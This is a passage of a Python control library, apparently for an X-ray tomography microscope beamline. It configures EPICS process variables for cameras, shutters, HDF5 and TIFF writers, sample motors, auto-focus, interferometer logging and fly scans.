    global_PVs['det_trig_pulses'] = PV('32MZ0:1pixelTriggerDma.VALE')

    # OLD PV related to the Renishaw interferometers:
#   global_PVs['Interferometer'] = PV('32idcTXM:SG2:UpDnCntr-1_COUNTS_s')
#   global_PVs['Interferometer_Update'] = PV('32idcTXM:SG2:UpDnCntr-1_COUNTS_SCAN.PROC')
#   global_PVs['Interferometer_Reset'] = PV('32idcTXM:SG_RdCntr:reset.PROC')
#   global_PVs['Interferometer_Cnt'] = PV('32idcTXM:SG_RdCntr:aSub.VALB')
#   global_PVs['Interferometer_Arr'] = PV('32idcTXM:SG_RdCntr:cVals.AA')
#   global_PVs['Interferometer_Proc_Arr'] = PV('32idcTXM:SG_RdCntr:cVals.PROC')
#   global_PVs['Interferometer_Val'] = PV('32idcTXM:userAve4.VAL')
#   global_PVs['Interferometer_Mode'] = PV('32idcTXM:userAve4_mode.VAL')
#   global_PVs['Interferometer_Acquire'] = PV('32idcTXM:userAve4_acquire.PROC')

    #init proc1 pv's
    global_PVs['Proc1_Callbacks'] = PV(variableDict['IOC_Prefix'] + 'Proc1:EnableCallbacks')
    global_PVs['Proc1_ArrayPort'] = PV(variableDict['IOC_Prefix'] + 'Proc1:NDArrayPort')
    global_PVs['Proc1_Filter_Enable'] = PV(variableDict['IOC_Prefix'] + 'Proc1:EnableFilter')
    global_PVs['Proc1_Filter_Type'] = PV(variableDict['IOC_Prefix'] + 'Proc1:FilterType')
    global_PVs['Proc1_Num_Filter'] = PV(variableDict['IOC_Prefix'] + 'Proc1:NumFilter')
    global_PVs['Proc1_Reset_Filter'] = PV(variableDict['IOC_Prefix'] + 'Proc1:ResetFilter')
    global_PVs['Proc1_AutoReset_Filter'] = PV(variableDict['IOC_Prefix'] + 'Proc1:AutoResetFilter')
    global_PVs['Proc1_Filter_Callbacks'] = PV(variableDict['IOC_Prefix'] + 'Proc1:FilterCallbacks')

        #energy
    global_PVs['DCMmvt'] = PV('32ida:KohzuModeBO.VAL')
    global_PVs['GAPputEnergy'] = PV('32id:ID32us_energy')
    global_PVs['EnergyWait'] = PV('ID32us:Busy')
    global_PVs['DCMputEnergy'] = PV('32ida:BraggEAO.VAL')

    #interlaced
    global_PVs['Interlaced_PROC'] = PV('32idcTXM:iFly:interlaceFlySub.PROC')
    global_PVs['Interlaced_Theta_Arr'] = PV('32idcTXM:iFly:interlaceFlySub.VALC')
    global_PVs['Interlaced_Num_Cycles'] = PV('32idcTXM:iFly:interlaceFlySub.C')
    global_PVs['Interlaced_Num_Cycles_RBV'] = PV('32idcTXM:iFly:interlaceFlySub.VALH')
    global_PVs['Interlaced_Images_Per_Cycle'] = PV('32idcTXM:iFly:interlaceFlySub.A')
    global_PVs['Interlaced_Images_Per_Cycle_RBV'] = PV('32idcTXM:iFly:interlaceFlySub.VALF')
    global_PVs['Interlaced_Num_Sub_Cycles'] = PV('32idcTXM:iFly:interlaceFlySub.B')
    global_PVs['Interlaced_Num_Sub_Cycles_RBV'] = PV('32idcTXM:iFly:interlaceFlySub.VALG')
    log_lib.info('  *** Init general PVs: Done!')

def stop_scan(global_PVs, variableDict):
    log_lib.info(' ')
    log_lib.info('  *** Stop scan')
    global_PVs['Motor_SampleRot_Stop'].put(1)
    global_PVs['TIFF1_AutoSave'].put('No')
    global_PVs['TIFF1_Capture'].put(0)
    global_PVs['HDF1_Capture'].put(0)
    wait_pv(global_PVs['HDF1_Capture'], 0)
    reset_CCD(global_PVs, variableDict)
    reset_CCD(global_PVs, variableDict)
    disable_fast_shutter(global_PVs, variableDict)
    enable_smaract(global_PVs, variableDict)
    log_lib.info('  *** Stop scan: Done!')

def reset_CCD(global_PVs, variableDict):
    if 1: # Usual script
        global_PVs['Cam1_TriggerMode'].put('Internal', wait=True)    #
        global_PVs['Cam1_TriggerMode'].put('Overlapped', wait=True)  # sequence Internal / Overlapped / internal because of CCD bug!!
        global_PVs['Cam1_TriggerMode'].put('Internal', wait=True)    #
        global_PVs['Proc1_Filter_Callbacks'].put( 'Every array' )
        #   global_PVs['HDF1_ArrayPort'].put(global_PVs['Proc1_ArrayPort'].get())
        global_PVs['Cam1_ImageMode'].put('Continuous', wait=True)
        if TXM == False:
            global_PVs['Cam1_FrameRate_on_off'].put(1, wait=True) # force a slow frame rate for the display
            global_PVs['Cam1_FrameRate_val'].put(5, wait=True) # force a slow frame rate for the display --> 5 fps
        global_PVs['Cam1_Display'].put(1)
        global_PVs['Cam1_Acquire'].put(DetectorAcquire); wait_pv(global_PVs['Cam1_Acquire'], DetectorAcquire, 2)

    else:

        global_PVs['Cam1_NumImages'].put(100000000, wait=True)
        global_PVs['Cam1_AcquireTime'].put(1)
        global_PVs['Cam1_AcquirePeriod'].put(1)
        global_PVs['Cam1_Acquire'].put(DetectorAcquire) # Start acquiring state
        wait_pv(global_PVs['Cam1_Acquire'], DetectorAcquire, 1)

        # Start the fake streaming mode:
        streaming_mode = 1
        while streaming_mode:
            global_PVs['Cam1_SoftwareTrigger'].put(1) # push the software trigger button
            time.sleep(0.4)
            if global_PVs['Cam1_Acquire'].get() == 0: # checking acquiring still ON
                streaming_mode == 0

def setup_detector(global_PVs, variableDict):
    log_lib.info(' ')
    log_lib.info('  *** setup_detector')
    if variableDict.has_key('Display_live'):
        log_lib.info('  *** *** disable live display')
        global_PVs['Cam1_Display'].put( int( variableDict['Display_live'] ) )
    global_PVs['Cam1_ImageMode'].put('Multiple')
    global_PVs['Cam1_ArrayCallbacks'].put('Enable')
    #global_PVs['Image1_Callbacks'].put('Enable')
    global_PVs['Cam1_AcquirePeriod'].put(float(variableDict['ExposureTime']))
    global_PVs['Cam1_AcquireTime'].put(float(variableDict['ExposureTime']))
    # if we are using external shutter then set the exposure time
    global_PVs['Cam1_FrameRateOnOff'].put(0)
    # if software trigger capture two frames (issue with Point grey grasshopper)
    if PG_Trigger_External_Trigger == 1:
        wait_time_sec = int(variableDict['ExposureTime']) + 5
#       global_PVs['Cam1_TriggerMode'].put('Ext. Standard', wait=True) #Ext. Standard
        global_PVs['Cam1_TriggerMode'].put('Overlapped', wait=True) #Ext. Standard
        global_PVs['Cam1_NumImages'].put(1, wait=True)
        global_PVs['Cam1_Acquire'].put(DetectorAcquire)
        wait_pv(global_PVs['Cam1_Acquire'], DetectorAcquire, 2)
        global_PVs['Cam1_SoftwareTrigger'].put(1)
        wait_pv(global_PVs['Cam1_Acquire'], DetectorIdle, wait_time_sec)
        global_PVs['Cam1_Acquire'].put(DetectorAcquire)
        wait_pv(global_PVs['Cam1_Acquire'], DetectorAcquire, 2)
        global_PVs['Cam1_SoftwareTrigger'].put(1)
        wait_pv(global_PVs['Cam1_Acquire'], DetectorIdle, wait_time_sec)
    else:
        global_PVs['Cam1_TriggerMode'].put('Internal')
    #global_PVs['ClearTheta'].put(1)
    log_lib.info('  *** setup_detector: Done!')

def setup_writer(global_PVs, variableDict, filename=None):
    log_lib.info('  ')
    log_lib.info('  *** setup hdf_writer')
    global_PVs['HDF1_LazyOpen'].put(0)
    if variableDict.has_key('Recursive_Filter_Enabled'):
        if variableDict['Recursive_Filter_Enabled'] == 1:
#           global_PVs['Proc1_Callbacks'].put('Disable')
            global_PVs['Proc1_Callbacks'].put('Enable')
            global_PVs['Proc1_Filter_Enable'].put('Disable')
            global_PVs['HDF1_ArrayPort'].put('PROC1')
            global_PVs['Proc1_Filter_Type'].put( Recursive_Filter_Type )
            global_PVs['Proc1_Num_Filter'].put( int( variableDict['Recursive_Filter_N_Images'] ) )
            global_PVs['Proc1_Reset_Filter'].put( 1 )
            global_PVs['Proc1_AutoReset_Filter'].put( 'Yes' )
            global_PVs['Proc1_Filter_Callbacks'].put( 'Array N only' )
        else:
#           global_PVs['Proc1_Callbacks'].put('Disable')
            global_PVs['Proc1_Filter_Enable'].put('Disable')
            global_PVs['HDF1_ArrayPort'].put(global_PVs['Proc1_ArrayPort'].get())
    else:
#       global_PVs['Proc1_Callbacks'].put('Disable')
        global_PVs['Proc1_Filter_Enable'].put('Disable')
        global_PVs['HDF1_ArrayPort'].put(global_PVs['Proc1_ArrayPort'].get())
    global_PVs['HDF1_AutoSave'].put('Yes')
    global_PVs['HDF1_DeleteDriverFile'].put('No')
    global_PVs['HDF1_EnableCallbacks'].put('Enable')
    global_PVs['HDF1_BlockingCallbacks'].put('No')
    if variableDict.has_key('ProjectionsPerRot'):
        totalProj = int(variableDict['PreDarkImages']) + int(variableDict['PreWhiteImages']) + ( int(variableDict['Projections']) * int(variableDict['ProjectionsPerRot'])) + int(variableDict['PostDarkImages']) + int(variableDict['PostWhiteImages'])
    else:
        totalProj = int(variableDict['PreDarkImages']) + int(variableDict['PreWhiteImages']) + int(variableDict['Projections']) + int(variableDict['PostDarkImages']) + int(variableDict['PostWhiteImages'])
    global_PVs['HDF1_NumCapture'].put(totalProj)
    global_PVs['HDF1_FileWriteMode'].put(str(variableDict['FileWriteMode']), wait=True)
    if not filename == None:
        global_PVs['HDF1_FileName'].put(filename)
    global_PVs['HDF1_Capture'].put(1)
    wait_pv(global_PVs['HDF1_Capture'], 1)
    log_lib.info('  *** setup hdf_writer: Done!')

def setup_tiff_writer(global_PVs, variableDict, filename=None):
    log_lib.info('  ')
    log_lib.info('  *** setup_tiff_writer')
    global_PVs['TIFF1_ArrayPort'].put(variableDict['TIFFNDArrayPort'], wait=True)
    if variableDict.has_key('Recursive_Filter_Enabled'):
        if variableDict['Recursive_Filter_Enabled'] == 1:
#           global_PVs['Proc1_Callbacks'].put('Disable')
            global_PVs['Proc1_Callbacks'].put('Enable')
            global_PVs['Proc1_Filter_Enable'].put('Disable')
            global_PVs['TIFF1_ArrayPort'].put('PROC1')
            global_PVs['Proc1_Filter_Type'].put( Recursive_Filter_Type )
            global_PVs['Proc1_Num_Filter'].put( int( variableDict['Recursive_Filter_N_Images'] ) )
            global_PVs['Proc1_Reset_Filter'].put( 1 )
            global_PVs['Proc1_AutoReset_Filter'].put( 'Yes' )
            global_PVs['Proc1_Filter_Callbacks'].put( 'Array N only' )
#       else:
##          global_PVs['Proc1_Callbacks'].put('Disable')
#           global_PVs['Proc1_Filter_Enable'].put('Disable')
#           global_PVs['TIFF1_ArrayPort'].put(global_PVs['Proc1_ArrayPort'].get())
#   else:
##      global_PVs['Proc1_Callbacks'].put('Disable')
#       global_PVs['Proc1_Filter_Enable'].put('Disable')
#       global_PVs['TIFF1_ArrayPort'].put(global_PVs['Proc1_ArrayPort'].get())
    global_PVs['TIFF1_AutoSave'].put('Yes')
    global_PVs['TIFF1_DeleteDriverFile'].put('No')
    global_PVs['TIFF1_EnableCallbacks'].put('Enable')
    global_PVs['TIFF1_BlockingCallbacks'].put('No')
    totalProj = int(variableDict['Projections'])
    global_PVs['TIFF1_NumCapture'].put(totalProj)
    global_PVs['TIFF1_FileWriteMode'].put(str(variableDict['FileWriteMode']), wait=True)
    if not filename == None:
        global_PVs['TIFF1_FileName'].put(filename)
    global_PVs['TIFF1_Capture'].put(1)
    wait_pv(global_PVs['TIFF1_Capture'], 1)
    log_lib.info('  *** setup_tiff_writer: Done!')

def acquire_proj(global_PVs, variableDict):
    global_PVs['Cam1_Acquire'].put(DetectorAcquire)
    wait_pv(global_PVs['Cam1_Acquire'], DetectorAcquire, 2)
    if variableDict['Use_Fast_Shutter']:
        global_PVs['Fast_Shutter_Trigger'].put(1)
#                wait_pv(global_PVs['Fast_Shutter_Trigger'], DetectorIdle, 60)
        wait_pv(global_PVs['Cam1_Acquire'], DetectorIdle, 60)
    else:
        global_PVs['Cam1_SoftwareTrigger'].put(1)
        wait_pv(global_PVs['Cam1_Acquire'], DetectorIdle, 60)

def capture_multiple_projections(global_PVs, variableDict, num_proj, frame_type):
    log_lib.info('       ***  capture_multiple_projections %d ' % num_proj)
    wait_time_sec = int(variableDict['ExposureTime']) + 5
    global_PVs['Cam1_ImageMode'].put('Multiple')
    global_PVs['Cam1_FrameType'].put(frame_type)
    if PG_Trigger_External_Trigger == 1:
        #set external trigger mode
        global_PVs['Cam1_TriggerMode'].put('Overlapped', wait=True)
        global_PVs['Cam1_NumImages'].put(1)
        for i in range(int(num_proj)):
            global_PVs['Cam1_Acquire'].put(DetectorAcquire)
            wait_pv(global_PVs['Cam1_Acquire'], DetectorAcquire, 2)
            global_PVs['Cam1_SoftwareTrigger'].put(1)
            wait_pv(global_PVs['Cam1_Acquire'], DetectorIdle, wait_time_sec)
    else:
        global_PVs['Cam1_TriggerMode'].put('Internal')
        global_PVs['Cam1_NumImages'].put(int(num_proj))
        global_PVs['Cam1_Acquire'].put(DetectorAcquire, wait=True)
        wait_pv(global_PVs['Cam1_Acquire'], DetectorIdle, wait_time_sec)
    log_lib.info('       ***  capture_multiple_projections: Done!')

def acquire_proj_recursive_filt(global_PVs, variableDict):
    global_PVs['Proc1_Callbacks'].put('Enable', wait=True)
    for k in range(int(variableDict['Recursive_Filter_N_Images'])):
        global_PVs['Cam1_Acquire'].put(DetectorAcquire)
        wait_pv(global_PVs['Cam1_Acquire'], DetectorAcquire, 2)
        if variableDict['Use_Fast_Shutter']:
            global_PVs['Fast_Shutter_Trigger'].put(1)
#           wait_pv(global_PVs['Fast_Shutter_Trigger'], DetectorIdle, 60)
            wait_pv(global_PVs['Cam1_Acquire'], DetectorIdle, 60)
        else:
            global_PVs['Cam1_SoftwareTrigger'].put(1)
            wait_pv(global_PVs['Cam1_Acquire'], DetectorIdle, 60)
    log_lib.info('       ***  capture with rec. filt.: Done!')

def acq_mutliple_proj_per_rot(global_PVs, variableDict):
    for j in range( int(variableDict['ProjectionsPerRot']) ):
        log_lib.info('    acq. proj %i/%i' % (j+1, variableDict['ProjectionsPerRot']))
        global_PVs['Cam1_Acquire'].put(DetectorAcquire)
        wait_pv(global_PVs['Cam1_Acquire'], DetectorAcquire, 2)
        if variableDict['Use_Fast_Shutter']:
            global_PVs['Fast_Shutter_Trigger'].put(1)
#                    wait_pv(global_PVs['Fast_Shutter_Trigger'], DetectorIdle, 60)
            wait_pv(global_PVs['Cam1_Acquire'], DetectorIdle, 60)
        else:
            global_PVs['Cam1_SoftwareTrigger'].put(1)
            wait_pv(global_PVs['Cam1_Acquire'], DetectorIdle, 60)

def move_sample_in(global_PVs, variableDict):
    log_lib.info('       ***  move_sample_in: %s ' % str(variableDict['SampleXIn']))
#   global_PVs['Motor_X_Tile'].put(float(variableDict['SampleXIn']), wait=True)
#   global_PVs['Motor_SampleX'].put(float(variableDict['SampleXIn']), wait=True)
    global_PVs['Motor_Sample_Top_X'].put(float(variableDict['SampleXIn']), wait=True)
    global_PVs['Motor_Sample_Top_Z'].put(float(variableDict['SampleZIn']), wait=True)
    if False == wait_pv(global_PVs['Motor_Sample_Top_X_RBV'], float(variableDict['SampleXIn']), 60):
        log_lib.error('       ***  Motor_Sample_Top_X did not move in properly')
        print(global_PVs['Motor_Sample_Top_X_STATUS'].get())
        print(global_PVs['Motor_Sample_Top_X_MIP'].get())
        print(global_PVs['Motor_Sample_Top_X_RETRY'].get())
#   global_PVs['Motor_Sample_Top_Z'].put(float(variableDict['SampleZIn']), wait=True)
#   global_PVs['Motor_SampleY'].put(float(variableDict['SampleYIn']), wait=True)
#   global_PVs['Motor_SampleZ'].put(float(variableDict['SampleZIn']), wait=True)
#   global_PVs['Motor_SampleRot'].put(0, wait=True)
    log_lib.info('       ***  move_sample_in: %s: Done! ' % str(variableDict['SampleXIn']))

def move_sample_out(global_PVs, variableDict):
    # print 'move_sample_out()'
    log_lib.info('       ***  move_sample_out: %s ' % str(variableDict['SampleXOut']))
#   global_PVs['Motor_SampleRot'].put(float(variableDict['SampleRotOut']), wait=True)
#   global_PVs['Motor_X_Tile'].put(float(variableDict['SampleXOut']), wait=True)
#   global_PVs['Motor_SampleX'].put(float(variableDict['SampleXOut']), wait=True)
    global_PVs['Motor_Sample_Top_X'].put(float(variableDict['SampleXOut']), wait=True)
    global_PVs['Motor_Sample_Top_Z'].put(float(variableDict['SampleZOut']), wait=True)
    #global_PVs['Motor_SampleRot'].put(float(variableDict['SampleRotOut']), wait=True)
    if False == wait_pv(global_PVs['Motor_Sample_Top_X_RBV'], float(variableDict['SampleXOut']), 60):
        log_lib.error('       ***  Motor_Sample_Top_X did not move out properly')
        print(global_PVs['Motor_Sample_Top_X_STATUS'].get())
        print(global_PVs['Motor_Sample_Top_X_MIP'].get())
        print(global_PVs['Motor_Sample_Top_X_RETRY'].get())
#   global_PVs['Motor_Sample_Top_Z'].put(float(variableDict['SampleZOut']), wait=True)
#   global_PVs['Motor_SampleY'].put(float(variableDict['SampleYOut']), wait=True)
#   global_PVs['Motor_SampleZ'].put(float(variableDict['SampleZOut']), wait=True)
#   global_PVs['Motor_SampleRot'].put(0, wait=True)
    log_lib.info('       ***  move_sample_out: %s: Done!' % str(variableDict['SampleXOut']))

def open_shutters(global_PVs, variableDict):
    log_lib.info('       ***  open_shutters')
    if TESTING_MODE:
        log_lib.warning('       ***  testing mode - shutters are deactivated during the scans !!!!')
    else:
        if UseShutterA:
            global_PVs['ShutterA_Open'].put(1, wait=True)
            wait_pv(global_PVs['ShutterA_Move_Status'], ShutterA_Open_Value)
            time.sleep(3)
        if UseShutterB:
            global_PVs['ShutterB_Open'].put(1, wait=True)
            wait_pv(global_PVs['ShutterB_Move_Status'], ShutterB_Open_Value)
    log_lib.info('       ***  open_shutters: Done!')

def close_shutters(global_PVs, variableDict):
    log_lib.info('       ***  close_shutters')
    if TESTING_MODE:
        log_lib.warning('       ***  testing mode - shutters are deactivated during the scans !!!!')
    else:
        if UseShutterA:
            global_PVs['ShutterA_Close'].put(1, wait=True)
            wait_pv(global_PVs['ShutterA_Move_Status'], ShutterA_Close_Value)
        if UseShutterB:
            global_PVs['ShutterB_Close'].put(1, wait=True)
            wait_pv(global_PVs['ShutterB_Move_Status'], ShutterB_Close_Value)
    log_lib.info('       ***  close_shutter: Done!')

def enable_fast_shutter(global_PVs, variableDict, rotation_trigger=False, delay=0.02):
    """Enable the hardware-triggered fast shutter.

    When this shutter is enabled, actions that capture a
    projection from the CCD will first open the fast shutter, then
    close it again afterwards. With ``rotation_trigger=True``, the
    CCD and shutter are triggered directly by the rotation stage
    (useful for fly scans). This method leaves the shutter closed
    by default.

    Parameters
    ----------
    rotation_trigger : bool, optional
      If false (default) the shutter/CCD are controlled by
      software. If true, the rotation stage encoder will trigger
      the shutter/CCD.
    delay : float, optional
      Time (in seconds) to wait for the fast shutter to close.

    """
    # Make sure Softglue circuit is configure correctly:
    global_PVs['Softglue_Shutter'].put(1, wait=True)
    # Close the shutter to start with
    global_PVs['Fast_Shutter_Control'].put(0, wait=True) # Manual mode
#    global_PVs['Fast_Shutter_Open'].put(0, wait=True) # Close the shutter
    # Determine what trigger the opening/closing of the shutter
    if rotation_trigger:
        # Put the FPGA input under rotary encoder control
        global_PVs['Fast_Shutter_Trigger_Mode'].put(1, wait=True) # Rotation stage encoder trigger mode
    else:
        # Put the FPGA input under software control
        global_PVs['Fast_Shutter_Trigger_Mode'].put(0, wait=True) # Manual trigger mode
    # Connect the shutter to the FPGA
    global_PVs['Fast_Shutter_Control'].put(1, wait=True) # Auto mode
    # Connect the camera to the fast shutter FPGA
    global_PVs['Fast_Shutter_Relay'].put(1, wait=True) # FAST_SHUTTER_RELAY_SYNCED
    # Set the FPGA trigger to the rotary encoder for this TXM
    global_PVs['Fast_Shutter_Trigger_Source'].put((TXM)) # 0 for the hydra, 1 for the TXM ensemble
    # Set the status flag for later use
#    fast_shutter_enabled = True
    # Set the camera delay
    global_PVs['Fast_Shutter_Delay'].put(delay, wait=True)
    # Disable the "uniblitz" fast shutter safety
    global_PVs['Fast_Shutter_Uniblitz'].put(0, wait=True)
    global_PVs['Fast_Shutter_Exposure'].put(float(variableDict['ExposureTime']) , wait=True)

def disable_fast_shutter(global_PVs, variableDict):
    """Disable the hardware-triggered fast shutter.

    This returns the TXM to the conventional software trigger
    mode, with the fast shutter open.

    """
    # Connect the trigger to the rotary encoder (to be safe)
    global_PVs['Fast_Shutter_Trigger_Mode'].put(1, wait=True) # FAST_SHUTTER_TRIGGER_ROTATION
    # Disconnect the shutter from the FPGA
    global_PVs['Fast_Shutter_Control'].put(0, wait=True) # FAST_SHUTTER_CONTROL_MANUAL
    # Connect the camera to the fast shutter FPGA
    global_PVs['Fast_Shutter_Relay'].put(0, wait=True) # FAST_SHUTTER_RELAY_DIRECT --> just trigger the camera
    # Set the FPGA trigger to the rotary encoder for this TXM
    global_PVs['Fast_Shutter_Trigger_Source'].put(int(TXM), wait=True)
    # Set the status flag for later use
#    fast_shutter_enabled = False
    # Open the shutter so it doesn't interfere with measurements
    global_PVs['Fast_Shutter_Open'].put(1, wait=True) # 0 = closed. It works because control mode switched to 0 above

def auto_focus_microCT(global_PVs, variableDict, rscan_range, nSteps, ScanMotorName):
    log_lib.info('  ***  start auto focus scan...')
    init_general_PVs(global_PVs, variableDict)

    if variableDict.has_key('StopTheScan'): # stopping the scan in a clean way
        stop_scan(global_PVs, variableDict)
    return
    setup_detector(global_PVs, variableDict)
    open_shutters(global_PVs, variableDict)

    # Get the CCD parameters:
    nRow = global_PVs['nRow'].get()
    nCol = global_PVs['nCol'].get()
    image_size = nRow * nCol

    Motor_Name = ScanMotorName
    log_lib.info('       ***  Scanning %s ' % Motor_Name)

    Motor_Start_Pos = global_PVs[Motor_Name].get() - rscan_range/2
    Motor_End_Pos = global_PVs[Motor_Name].get() + rscan_range/2
    vector_pos = numpy.linspace(Motor_Start_Pos, Motor_End_Pos, nSteps)
    vector_std = numpy.copy(vector_pos)

    global_PVs['Cam1_FrameType'].put(FrameTypeData, wait=True)
    global_PVs['Cam1_NumImages'].put(1, wait=True)

    cnt = 0
    for sample_pos in vector_pos:
        log_lib.info('       *** *** Motor position: %f' % sample_pos)
        global_PVs[Motor_Name].put(sample_pos, wait=True)
        time.sleep(0.25)

        global_PVs['Cam1_Acquire'].put(DetectorAcquire)
        wait_pv(global_PVs['Cam1_Acquire'], DetectorAcquire, 2)
        global_PVs['Cam1_SoftwareTrigger'].put(1)
        wait_pv(global_PVs['Cam1_Acquire'], DetectorIdle, 60)

        # Get the image loaded in memory
        img_vect = global_PVs['Cam1_Image'].get(count=image_size)
        #img = np.reshape(img_vect,[nRow, nCol])
        vector_std[cnt] = numpy.std(img_vect)
        log_lib.info('       *** *** Standard deviation: %s ' % str(vector_std[cnt]))
        cnt = cnt + 1

    # move the lens to the focal position:
    max_std = numpy.max(vector_std)
    focal_pos = vector_pos[numpy.where(vector_std == max_std)]
    log_lib.info('  *** *** Highest standard deviation: %s ' % str(max_std))
    log_lib.info('  *** *** Move piezo to %s ' % str(focal_pos))
    global_PVs[Motor_Name].put(focal_pos, wait=True)

    close_shutters(global_PVs, variableDict)
    reset_CCD(global_PVs, variableDict)

def disable_smaract(global_PVs, variableDict):
    log_lib.info('       ***  disabling the Smaract')
    global_PVs['zone_plate_x_StopAndGo'].put(0, wait=True)
    global_PVs['zone_plate_y_StopAndGo'].put(0, wait=True)
    global_PVs['zone_plate_z_StopAndGo'].put(0, wait=True)
    global_PVs['Motor_Sample_Top_X_StopAndGo'].put(0, wait=True) # 3=Go, 2=Move, 1=Pause, 0=Stop
    global_PVs['Motor_Sample_Top_Z_StopAndGo'].put(0, wait=True)
    log_lib.info('       ***  disabling the Smaract: Done!')

def enable_smaract(global_PVs, variableDict):
    log_lib.info('       ***  re-enabling the Smaract')
    global_PVs['zone_plate_x_StopAndGo'].put(3, wait=True)
    global_PVs['zone_plate_y_StopAndGo'].put(3, wait=True)
    global_PVs['zone_plate_z_StopAndGo'].put(3, wait=True)
    global_PVs['Motor_Sample_Top_X_StopAndGo'].put(3, wait=True) # 3=Go, 2=Move, 1=Pause, 0=Stop
    global_PVs['Motor_Sample_Top_Z_StopAndGo'].put(3, wait=True)
    log_lib.info('       ***  re-enabling the Smaract: Done!')

def add_theta(global_PVs, variableDict, theta_arr):
    log_lib.info('       ***  add_theta')
    fullname = global_PVs['HDF1_FullFileName_RBV'].get(as_string=True)
    try:
        hdf_f = h5py.File(fullname, mode='a')
        if theta_arr is not None:
            theta_ds = hdf_f.create_dataset('/exchange/theta', (len(theta_arr),))
            theta_ds[:] = theta_arr[:]
        hdf_f.close()
        log_lib.info('       ***  add_theta: Done!')
    except:
        traceback.print_exc(file=sys.stdout)
        log_lib.error('       ***  add_theta: Failed accessing:', fullname)

def update_theta_for_more_proj(orig_theta, variableDict):
    new_theta = []
    for val in orig_theta:
        for j in range( int(variableDict['ProjectionsPerRot']) ):
            new_theta += [val]
    return new_theta

def add_interferometer(global_PVs, variableDict, theta):
    if variableDict.has_key('UseInterferometer') and int(variableDict['UseInterferometer']) > 0:
            interf_zpx = global_PVs['Interfero_ZPX'].get()
            interf_zpy = global_PVs['Interfero_ZPY'].get()
            det_trig_pulses = global_PVs['det_trig_pulses'].get()
            add_interfero_hdf5(global_PVs, variableDict, interf_zpx,interf_zpy, det_trig_pulses)

def add_interfero_hdf5(global_PVs, variableDict, interf_zpx_arrs, interf_zpy_arrs, det_trig_pulses_arrs):
    log_lib.info(' ')
    log_lib.info('       ***  add_interfero_hdf5')
    wait_pv(global_PVs['HDF1_Capture_RBV'], 0, 10.0)
    fullname = global_PVs['HDF1_FullFileName_RBV'].get(as_string=True)
    try:
        log_lib.info('       ***  opening hdf5 file %s ' % fullname)
        hdf_f = h5py.File(fullname, mode='a')
        interf_zpx_ds = hdf_f.create_dataset('/measurement/instrument/interferometer/interfero_zpx_arrs', (len(interf_zpx_arrs),), dtype='f' )
        interf_zpx_ds[:] = interf_zpx_arrs[:]
        interf_zpy_ds = hdf_f.create_dataset('/measurement/instrument/interferometer/interfero_zpy_arrs', (len(interf_zpy_arrs),), dtype='f' )
        interf_zpy_ds[:] = interf_zpy_arrs[:]
        interf_trig_ds = hdf_f.create_dataset('/measurement/instrument/interferometer/det_trig_pulses_arrs', (len(det_trig_pulses_arrs),), dtype='f' )
        interf_trig_ds[:] = det_trig_pulses_arrs[:]
#       for i in range(len(interf_arrs)):
#           if len(interf_arrs[i]) == len(interf_arrs[0]):
#               interf_ds[i,:] = interf_arrs[i][:]
        hdf_f.close()
        log_lib.info('       ***  add_interfero_hdf5: Done')

    except:
        traceback.print_exc(file=sys.stdout)
        log_lib.error('       ***  add_interfero_hdf5: Failed accessing: %s' % fullname)

def setPSO(global_PVs, variableDict):
    log_lib.info(' ')
    log_lib.info('  *** get_calculated_num_projections')
    delta = abs((float(variableDict['SampleEndPos']) - float(variableDict['SampleStartPos'])) / (float(variableDict['Projections'])))
    slew_speed = (float(variableDict['SampleEndPos']) - float(variableDict['SampleStartPos'])) / (float(variableDict['Projections']) * (float(variableDict['ExposureTime']) + float(variableDict['CCD_Readout'])))
    log_lib.info('  *** *** start pos %f' % float(variableDict['SampleStartPos']))
    log_lib.info('  *** *** end pos %f' % float(variableDict['SampleEndPos']))
    global_PVs['Fly_StartPos'].put(float(variableDict['SampleStartPos']), wait=True)
    global_PVs['Fly_EndPos'].put(float(variableDict['SampleEndPos']), wait=True)
    global_PVs['Fly_SlewSpeed'].put(slew_speed, wait=True)
    global_PVs['Fly_ScanDelta'].put(delta, wait=True)
    time.sleep(3.0)
    calc_num_proj = global_PVs['Fly_Calc_Projections'].get()
    log_lib.info('  *** *** calculated number of projections: %f' % calc_num_proj)
    if calc_num_proj == None:
        log_lib.error('  *** *** Error getting fly calculated number of projections!')
        calc_num_proj = global_PVs['Fly_Calc_Projections'].get()
    if calc_num_proj != int(variableDict['Projections']):
        log_lib.warning('  *** *** updating number of projections from: %d to %d' % (variableDict['Projections'], calc_num_proj))
        variableDict['Projections'] = int(calc_num_proj)
    log_lib.info('  *** *** Number of projections: %d' % int(variableDict['Projections']))
    log_lib.info('  *** *** Fly calc triggers: %d' % int(calc_num_proj))
    log_lib.info('  *** get_calculated_num_projections: Done!')
    global_PVs['Fly_ScanControl'].put('Custom')

    log_lib.info(' ')
    log_lib.info('  *** Taxi before starting capture')
    global_PVs['Fly_Taxi'].put(1, wait=True)
    wait_pv(global_PVs['Fly_Taxi'], 0)
    log_lib.info('  *** Taxi before starting capture: Done!')

def acquire_fly(global_PVs, variableDict):
    theta = []
    FlyScanTimeout = (float(variableDict['Projections']) * (float(variableDict['ExposureTime']) + float(variableDict['CCD_Readout'])) ) + 30
    log_lib.info(' ')
    log_lib.info('  *** Fly Scan Time Estimate: %f minutes' % (FlyScanTimeout/60.))
    global_PVs['Reset_Theta'].put(1)
#   global_PVs['Fly_Set_Encoder_Pos'].put(1) # ensure encoder value match motor position -- only for the PIMicos
    global_PVs['Cam1_AcquireTime'].put(float(variableDict['ExposureTime']) )

    #num_images1 = ((float(variableDict['SampleEndPos']) - float(variableDict['SampleStartPos'])) / (delta + 1.0))
    num_images = int(variableDict['Projections'])
    global_PVs['Cam1_FrameType'].put(FrameTypeData, wait=True)
    global_PVs['Cam1_NumImages'].put(num_images, wait=True)
    global_PVs['Cam1_TriggerMode'].put('Overlapped', wait=True)
    # start acquiring
    global_PVs['Cam1_Acquire'].put(DetectorAcquire)
    wait_pv(global_PVs['Cam1_Acquire'], 1)
    log_lib.info(' ')
    log_lib.info('  *** Fly Scan: Start!')
    global_PVs['Fly_Run'].put(1, wait=True)
    wait_pv(global_PVs['Fly_Run'], 0)
    # wait for acquire to finish
    # if the fly scan wait times out we should call done on the detector
    if False == wait_pv(global_PVs['Cam1_Acquire'], DetectorIdle, FlyScanTimeout):
        global_PVs['Cam1_Acquire'].put(DetectorIdle)
    # set trigger move to internal for post dark and white
    #global_PVs['Cam1_TriggerMode'].put('Internal')
    log_lib.info('  *** Fly Scan: Done!')
    global_PVs['Proc_Theta'].put(1)
    #theta_cnt = global_PVs['Theta_Cnt'].get()
